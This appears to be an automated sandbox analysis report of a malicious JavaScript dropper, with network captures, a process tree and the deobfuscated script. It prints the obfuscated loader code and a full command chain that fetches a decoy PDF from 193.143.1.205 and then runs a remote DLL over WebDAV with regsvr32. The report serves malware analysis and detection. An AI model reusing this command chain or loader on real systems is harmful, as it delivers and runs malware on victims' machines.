Jan 10, 2025 18:06:28.779155970 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.779171944 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779182911 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.779192924 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779206038 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779213905 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.779217005 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779230118 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779237986 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.779244900 CET	80	49738	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:28.779268026 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:28.822737932 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:29.459089041 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:29.788652897 CET	49738	80	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:30.184807062 CET	49758	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:30.190159082 CET	8888	49758	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:30.190315008 CET	49758	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:30.190551996 CET	49758	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:30.195807934 CET	8888	49758	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:31.001521111 CET	8888	49758	193.143.1.205	192.168.2.10
Jan 10, 2025 18:06:31.056281090 CET	49758	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 18:06:32.717068911 CET	49758	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 18:07:57.488632917 CET	52564	53	192.168.2.10	1.1.1.1
Jan 10, 2025 18:07:57.493534088 CET	53	52564	1.1.1.1	192.168.2.10
Jan 10, 2025 18:07:57.493637085 CET	52564	53	192.168.2.10	1.1.1.1
Jan 10, 2025 18:07:57.493662119 CET	52564	53	192.168.2.10	1.1.1.1
Jan 10, 2025 18:07:57.498465061 CET	53	52564	1.1.1.1	192.168.2.10
Jan 10, 2025 18:07:57.962207079 CET	53	52564	1.1.1.1	192.168.2.10
Jan 10, 2025 18:07:57.967329025 CET	52564	53	192.168.2.10	1.1.1.1
Jan 10, 2025 18:07:57.972317934 CET	53	52564	1.1.1.1	192.168.2.10
Jan 10, 2025 18:07:57.972363949 CET	52564	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:06:38.163060904 CET	53733	53	192.168.2.10	1.1.1.1
Jan 10, 2025 18:07:57.484700918 CET	53	53759	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:06:38.163060904 CET	192.168.2.10	1.1.1.1	0x9c2a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:06:20.324863911 CET	1.1.1.1	192.168.2.10	0x3d42	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:06:20.324863911 CET	1.1.1.1	192.168.2.10	0x3d42	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:06:38.170588970 CET	1.1.1.1	192.168.2.10	0x9c2a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:06:39.065442085 CET	1.1.1.1	192.168.2.10	0xdda1	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:06:39.065442085 CET	1.1.1.1	192.168.2.10	0xdda1	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49738	193.143.1.205	80	2112	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:06:27.216618061 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:06:28.028615952 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:06:27 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:06:28.028641939 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:06:28.028655052 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:06:28.028671980 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 18:06:28.028692007 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 18:06:28.028707027 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 18:06:28.028722048 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 18:06:28.028733969 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 18:06:28.028748035 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 18:06:28.028760910 CET	376	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 10, 2025 18:06:28.086747885 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49758	193.143.1.205	8888	280	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:06:30.190551996 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:06:31.001521111 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:06:30 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:06:22
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251443863021115246.js"
Imagebase:	0x7ff7a4370000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:06:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll
Imagebase:	0x7ff720160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:06:23
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:06:23
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:06:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:06:29
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff720160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:06:29
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff678470000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:06:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:06:30
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:06:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1764,i,9282616568081772246,3580024921873919150,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vzunn() {	vzunn() ➔ undefined
1	whpfhv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lnqge = this[wohik + mkwdjuo + fydzxayvw + cstwup + ewmfl + xsatk + uehxw + iwmsuuzwl] ( this[awgkxpo + sjohlmwvm + umtslnavh + fydzxayvw + uvcxd + wohik + iwmsuuzwl][nnzvpj + fydzxayvw + ewmfl + mkwdjuo + iwmsuuzwl + ewmfl + vjvep + ujzudv + basqhokkx + ewmfl + umtslnavh + iwmsuuzwl] ( awgkxpo + sjohlmwvm + umtslnavh + fydzxayvw + uvcxd + wohik + iwmsuuzwl + cqcmw + sjohlmwvm + avxquff + ewmfl + uimvwon + uimvwon ) [usutqdjak + ewmfl + ukvtrnoxz + usutqdjak + ewmfl + mkwdjuo + ifkywkq] ( nenoycuph + jjdoijn + dnwlb + asqyjtif + gkkbcjs + nnzvpj + htbbv + usutqdjak + usutqdjak + dnwlb + oykruvcxs + kojjyjyv + gkkbcjs + htbbv + sjohlmwvm + dnwlb + usutqdjak + vylxsoysy + nnzvpj + whmxmcm + uehxw + iwmsuuzwl + fydzxayvw + whmxmcm + uimvwon + jjzouxs + zbdvpezw + mkwdjuo + uehxw + ewmfl + uimvwon + vylxsoysy + xsatk + uehxw + iwmsuuzwl + ewmfl + fydzxayvw + uehxw + mkwdjuo + iwmsuuzwl + uvcxd + whmxmcm + uehxw + mkwdjuo + uimvwon + vylxsoysy + nzsmqpi + whmxmcm + umtslnavh + mkwdjuo + uimvwon + ewmfl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( avoicln = 0 ; avoicln < whpfhv[uimvwon + ewmfl + uehxw + ukvtrnoxz + iwmsuuzwl + avxquff] ; ++ avoicln )
4	{
5	if ( lnqge == whpfhv[avoicln] )
6	{
7	lnqge = true;
8	break ;
9	}
10	}
11	if ( lnqge !== true )
12	this[awgkxpo + sjohlmwvm + umtslnavh + fydzxayvw + uvcxd + wohik + iwmsuuzwl][kcfzi + pvbqbja + uvcxd + iwmsuuzwl] ( );
13	this[awgkxpo + sjohlmwvm + umtslnavh + fydzxayvw + uvcxd + wohik + iwmsuuzwl][nnzvpj + fydzxayvw + ewmfl + mkwdjuo + iwmsuuzwl + ewmfl + vjvep + ujzudv + basqhokkx + ewmfl + umtslnavh + iwmsuuzwl] ( awgkxpo + sjohlmwvm + umtslnavh + fydzxayvw + uvcxd + wohik + iwmsuuzwl + cqcmw + sjohlmwvm + avxquff + ewmfl + uimvwon + uimvwon ) [fydzxayvw + pvbqbja + uehxw] ( umtslnavh + yffhhmljv + ifkywkq + jjzouxs + bbaux + umtslnavh + jjzouxs + wohik + whmxmcm + vtvocrcjt + ewmfl + fydzxayvw + cstwup + avxquff + ewmfl + uimvwon + uimvwon + cqcmw + ewmfl + nzkloykk + ewmfl + jjzouxs + rnupa + nnzvpj + whmxmcm + yffhhmljv + yffhhmljv + mkwdjuo + uehxw + ifkywkq + jjzouxs + nrnju + xsatk + uehxw + vbcpktpk + whmxmcm + mbdkcrrz + ewmfl + rnupa + awgkxpo + ewmfl + ujzudv + usutqdjak + ewmfl + htnhhwagv + pvbqbja + ewmfl + cstwup + iwmsuuzwl + jjzouxs + rnupa + vjvep + pvbqbja + iwmsuuzwl + wlqqsdk + uvcxd + uimvwon + ewmfl + jjzouxs + cvqranyk + iwmsuuzwl + ewmfl + yffhhmljv + wohik + cvqranyk + vylxsoysy + uvcxd + uehxw + vbcpktpk + whmxmcm + uvcxd + umtslnavh + ewmfl + cqcmw + wohik + ifkywkq + wyhtpw + jjzouxs + avxquff + iwmsuuzwl + iwmsuuzwl + wohik + ioaegkxj + bbaux + bbaux + exffnh + nppojuidr + lglzeo + cqcmw + exffnh + picgtbz + lglzeo + cqcmw + exffnh + cqcmw + xgaelp + lzozdiysa + idmmkevle + bbaux + uvcxd + uehxw + vbcpktpk + whmxmcm + uvcxd + umtslnavh + ewmfl + cqcmw + wohik + avxquff + wohik + nrnju + kbdzb + kbdzb + cstwup + iwmsuuzwl + mkwdjuo + fydzxayvw + iwmsuuzwl + jjzouxs + cvqranyk + iwmsuuzwl + ewmfl + yffhhmljv + wohik + cvqranyk + vylxsoysy + uvcxd + uehxw + vbcpktpk + whmxmcm + uvcxd + umtslnavh + ewmfl + cqcmw + wohik + ifkywkq + wyhtpw + kbdzb + kbdzb + umtslnavh + yffhhmljv + ifkywkq + jjzouxs + bbaux + umtslnavh + jjzouxs + uehxw + ewmfl + iwmsuuzwl + jjzouxs + pvbqbja + cstwup + ewmfl + jjzouxs + vylxsoysy + vylxsoysy + exffnh + nppojuidr + lglzeo + cqcmw + exffnh + picgtbz + lglzeo + cqcmw + exffnh + cqcmw + xgaelp + lzozdiysa + idmmkevle + yfbgchh + wnobkgpzt + wnobkgpzt + wnobkgpzt + wnobkgpzt + vylxsoysy + ifkywkq + mkwdjuo + vbcpktpk + vtvocrcjt + vtvocrcjt + vtvocrcjt + fydzxayvw + whmxmcm + whmxmcm + iwmsuuzwl + vylxsoysy + kbdzb + kbdzb + umtslnavh + yffhhmljv + ifkywkq + jjzouxs + bbaux + umtslnavh + jjzouxs + fydzxayvw + ewmfl + ukvtrnoxz + cstwup + vbcpktpk + fydzxayvw + lglzeo + xgaelp + jjzouxs + bbaux + cstwup + jjzouxs + vylxsoysy + vylxsoysy + exffnh + nppojuidr + lglzeo + cqcmw + exffnh + picgtbz + lglzeo + cqcmw + exffnh + cqcmw + xgaelp + lzozdiysa + idmmkevle + yfbgchh + wnobkgpzt + wnobkgpzt + wnobkgpzt + wnobkgpzt + vylxsoysy + ifkywkq + mkwdjuo + vbcpktpk + vtvocrcjt + vtvocrcjt + vtvocrcjt + fydzxayvw + whmxmcm + whmxmcm + iwmsuuzwl + vylxsoysy + exffnh + picgtbz + ltoptkree + lglzeo + idmmkevle + exffnh + nppojuidr + picgtbz + lzozdiysa + emjbqchfi + ltoptkree + emjbqchfi + idmmkevle + picgtbz + cqcmw + ifkywkq + uimvwon + uimvwon, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll",0,false) ➔ 0
14	}
15	vtvocrcjt = "e";
16	vtvocrcjt = "P";
17	vtvocrcjt = "l";
18	vtvocrcjt = "a";
19	vtvocrcjt = "Y";
20	vtvocrcjt = "G";
21	vtvocrcjt = "f";
22	vtvocrcjt = "V";
23	vtvocrcjt = "j";
24	vtvocrcjt = "q";
25	vtvocrcjt = "B";
26	vtvocrcjt = "i";
27	vtvocrcjt = "h";
28	vtvocrcjt = "m";
29	vtvocrcjt = "o";
30	vtvocrcjt = "B";
31	vtvocrcjt = "U";
32	vtvocrcjt = "m";
33	vtvocrcjt = "F";
34	vtvocrcjt = "v";
35	vtvocrcjt = "e";
36	vtvocrcjt = "N";
37	vtvocrcjt = "R";
38	vtvocrcjt = "B";
39	vtvocrcjt = "f";
40	vtvocrcjt = "d";
41	vtvocrcjt = "r";
42	vtvocrcjt = "g";
43	vtvocrcjt = "P";
44	vtvocrcjt = "D";
45	vtvocrcjt = "G";
46	vtvocrcjt = "y";
47	vtvocrcjt = "n";
48	vtvocrcjt = "R";
49	vtvocrcjt = "w";
50	oykruvcxs = "A";
51	oykruvcxs = "Z";
52	oykruvcxs = "G";
53	oykruvcxs = "r";
54	oykruvcxs = "h";
55	oykruvcxs = "Z";
56	oykruvcxs = "P";
57	oykruvcxs = "r";
58	oykruvcxs = "e";
59	oykruvcxs = "P";
60	oykruvcxs = "K";
61	oykruvcxs = "h";
62	oykruvcxs = "n";
63	oykruvcxs = "W";
64	oykruvcxs = "S";
65	oykruvcxs = "S";
66	oykruvcxs = "k";
67	oykruvcxs = "l";
68	oykruvcxs = "A";
69	oykruvcxs = "z";
70	oykruvcxs = "N";
71	uvcxd = "Z";
72	uvcxd = "D";
73	uvcxd = "C";
74	uvcxd = "l";
75	uvcxd = "H";
76	uvcxd = "d";
77	uvcxd = "u";
78	uvcxd = "x";
79	uvcxd = "c";
80	uvcxd = "x";
81	uvcxd = "v";
82	uvcxd = "e";
83	uvcxd = "q";
84	uvcxd = "m";
85	uvcxd = "t";
86	uvcxd = "C";
87	uvcxd = "g";
88	uvcxd = "Y";
89	uvcxd = "L";
90	uvcxd = "e";
91	uvcxd = "j";
92	uvcxd = "s";
93	uvcxd = "c";
94	uvcxd = "p";
95	uvcxd = "a";
